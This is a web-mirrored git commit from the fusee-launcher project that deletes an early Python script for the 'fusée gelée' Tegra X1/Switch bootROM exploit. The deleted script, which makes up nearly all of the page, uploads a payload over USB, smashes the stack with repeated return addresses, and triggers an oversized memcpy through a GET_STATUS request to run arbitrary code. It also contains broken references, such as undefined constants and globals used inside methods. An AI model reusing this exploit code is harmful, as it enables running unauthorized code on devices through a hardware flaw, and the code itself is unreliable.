mirror of
https://github.com/Qyriad/fusee-launcher.git
synced 2024-12-22 17:01:50 +01:00
Remove the matcheshash file
It only needs to be in the history to prove that a file with its hash existed at some point.
This commit is contained in:
parent
fab04e9145
commit
94a3d0aed3
@ -1,174 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# fusée gelée
|
||||
#
|
||||
# Launcher for the {re}switched coldboot/bootrom hacks--
|
||||
# launches payloads above the Horizon
|
||||
#
|
||||
# discovery and implementation by @ktemkin
|
||||
# likely independently discovered by lots of others <3
|
||||
#
|
||||
# special thanks to:
|
||||
# SciresM, motezazer -- guidance and support
|
||||
# hedgeberg, andeor -- dumping the Jetson bootROM
|
||||
# TuxSH -- for IDB notes that were nice to peek at
|
||||
#
|
||||
|
||||
import usb
|
||||
import time
|
||||
|
||||
|
||||
# notes:
|
||||
# GET_CONFIGURATION to the DEVICE triggers memcpy from 0x40003982
|
||||
# GET_INTERFACE to the INTERFACE triggers memcpy from 0x40003984
|
||||
# GET_STATUS to the INTERFACE triggers memcpy from <on the stack>
|
||||
|
||||
class RCMHax:
|
||||
|
||||
# FIXME: these are the jetson's; replace me with the Switch's
|
||||
SWITCH_RCM_VID = 0x0955
|
||||
SWITCH_RCM_PID = 0X7321
|
||||
|
||||
# USB constants used
|
||||
STANDARD_REQUEST_DEVICE_TO_HOST_TO_DEVICE = 0x80
|
||||
STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT = 0x82
|
||||
GET_DESCRIPTOR = 0x6
|
||||
GET_CONFIGURATION = 0x8
|
||||
|
||||
# Interface requests
|
||||
GET_STATUS = 0x0
|
||||
|
||||
# Exploit specifics
|
||||
COPY_START_ADDRESS = 0x40003982
|
||||
COPY_BUFFER_ADDRESSES = [0x40005000, 0x40009000]
|
||||
STACK_END = 0x40010000
|
||||
|
||||
def __init__(self):
|
||||
""" Set up our RCM hack connection."""
|
||||
|
||||
# The first write into the bootROM touches the lowbuffer.
|
||||
self.current_buffer = 0
|
||||
|
||||
# Grab a connection to the USB device itself.
|
||||
self.dev = usb.core.find(idVendor=self.SWITCH_RCM_VID, idProduct=self.SWITCH_RCM_PID)
|
||||
|
||||
# Keep track of the total amount written.
|
||||
self.total_written = 0
|
||||
|
||||
if self.dev is None:
|
||||
raise IOError("No Switch found?")
|
||||
|
||||
def get_device_descriptor(self):
|
||||
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST, self.GET_DESCRIPTOR, 1 << 8, 0, 18)
|
||||
|
||||
def read(self, length):
|
||||
""" Reads data from the RCM protocol endpoint. """
|
||||
return self.dev.read(0x81, length, 1000)
|
||||
|
||||
|
||||
def write(self, data):
|
||||
""" Writes data to the main RCM protocol endpoint. """
|
||||
|
||||
length = len(data)
|
||||
packet_size = 0x1000
|
||||
|
||||
while length:
|
||||
data_to_transmit = min(length, packet_size)
|
||||
length -= data_to_transmit
|
||||
|
||||
chunk = data[:data_to_transmit]
|
||||
data = data[data_to_transmit:]
|
||||
self.write_single_buffer(chunk)
|
||||
|
||||
|
||||
def write_single_buffer(self, data):
|
||||
"""
|
||||
Writes a single RCM buffer, which should be 0x1000 long.
|
||||
The last packet may be shorter, and should trigger a ZLP (e.g. not divisible by 512).
|
||||
If it's not, send a ZLP.
|
||||
"""
|
||||
self._toggle_buffer()
|
||||
return self.dev.write(0x01, data, 1000)
|
||||
|
||||
|
||||
def _toggle_buffer(self):
|
||||
"""
|
||||
Toggles the active target buffer, paralleling the operation happening in
|
||||
RCM on the X1 device.
|
||||
"""
|
||||
self.current_buffer = 1 - self.current_buffer
|
||||
|
||||
|
||||
def get_current_buffer_address(self):
|
||||
""" Returns the base address for the current copy. """
|
||||
return self.COPY_BUFFER_ADDRESSES[self.current_buffer]
|
||||
|
||||
|
||||
def read_device_id(self):
|
||||
""" Reads the Device ID via RCM. Only valid at the start of the communication. """
|
||||
return self.read(16)
|
||||
|
||||
|
||||
def switch_to_highbuf(self):
|
||||
""" Switches to the higher RCM buffer, reducing the amount that needs to be copied. """
|
||||
|
||||
if switch.get_current_buffer_address() != self.COPY_BUFFER_ADDRESSES[1]:
|
||||
switch.write(smash_buffer)
|
||||
|
||||
|
||||
def trigger_controlled_memcpy(self, length=None):
|
||||
""" Triggers the RCM vulnerability, causing it to make a signficantly-oversized memcpy. """
|
||||
|
||||
# Determine how much we'd need to transmit to smash the full stack.
|
||||
if length is None:
|
||||
length = self.STACK_END - self.get_current_buffer_address()
|
||||
|
||||
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, self.GET_STATUS, 0, 0, length)
|
||||
|
||||
|
||||
|
||||
# Get a connection to our device
|
||||
switch = RCMHax()
|
||||
print("Switch device id: {}".format(switch.read_device_id()))
|
||||
|
||||
# Prefix the image with an RCM command, so it winds up loaded into memory
|
||||
# at the right location (0x40010000).
|
||||
|
||||
# Use the maximum length so we can transmit as much payload as we want;
|
||||
# we'll take over before we get to the end.
|
||||
length = 0x30298
|
||||
payload = length.to_bytes(4, byteorder='little')
|
||||
|
||||
# pad out to 680 so the payload starts at the right address in IRAM
|
||||
payload += b'\0' * (680 - len(payload))
|
||||
|
||||
# for now, populate from [0x40010000, 0x40020000) with the payload address,
|
||||
# ensuring we smash the stack properly; we can pull this down once we figure
|
||||
# out the stack frame we're actually in for sure
|
||||
print("Setting ourselves up to smash the stack...")
|
||||
payload_location = 0x40020000
|
||||
payload_location_raw = payload_location.to_bytes(4, byteorder='little')
|
||||
payload += (payload_location_raw * 16384) # TODO: remove this magic number
|
||||
|
||||
# read the payload into memory
|
||||
with open("payload.bin", "rb") as f:
|
||||
payload += f.read()
|
||||
|
||||
# pad the payload to fill a request exactly
|
||||
payload_length = len(payload)
|
||||
padding_size = 0x1000 - (payload_length % 0x1000)
|
||||
payload += (b'\0' * padding_size)
|
||||
|
||||
# send the payload
|
||||
print("Uploading payload...")
|
||||
switch.write(payload)
|
||||
|
||||
# smash less as a first test
|
||||
print("Smashing the stack...")
|
||||
switch.switch_to_highbuf()
|
||||
|
||||
try:
|
||||
switch.trigger_controlled_memcpy()
|
||||
except IOError:
|
||||
print("The USB device stopped responding-- sure smells like we've smashed its stack. :)")
|
||||
|
Loading…
Reference in New Issue
Block a user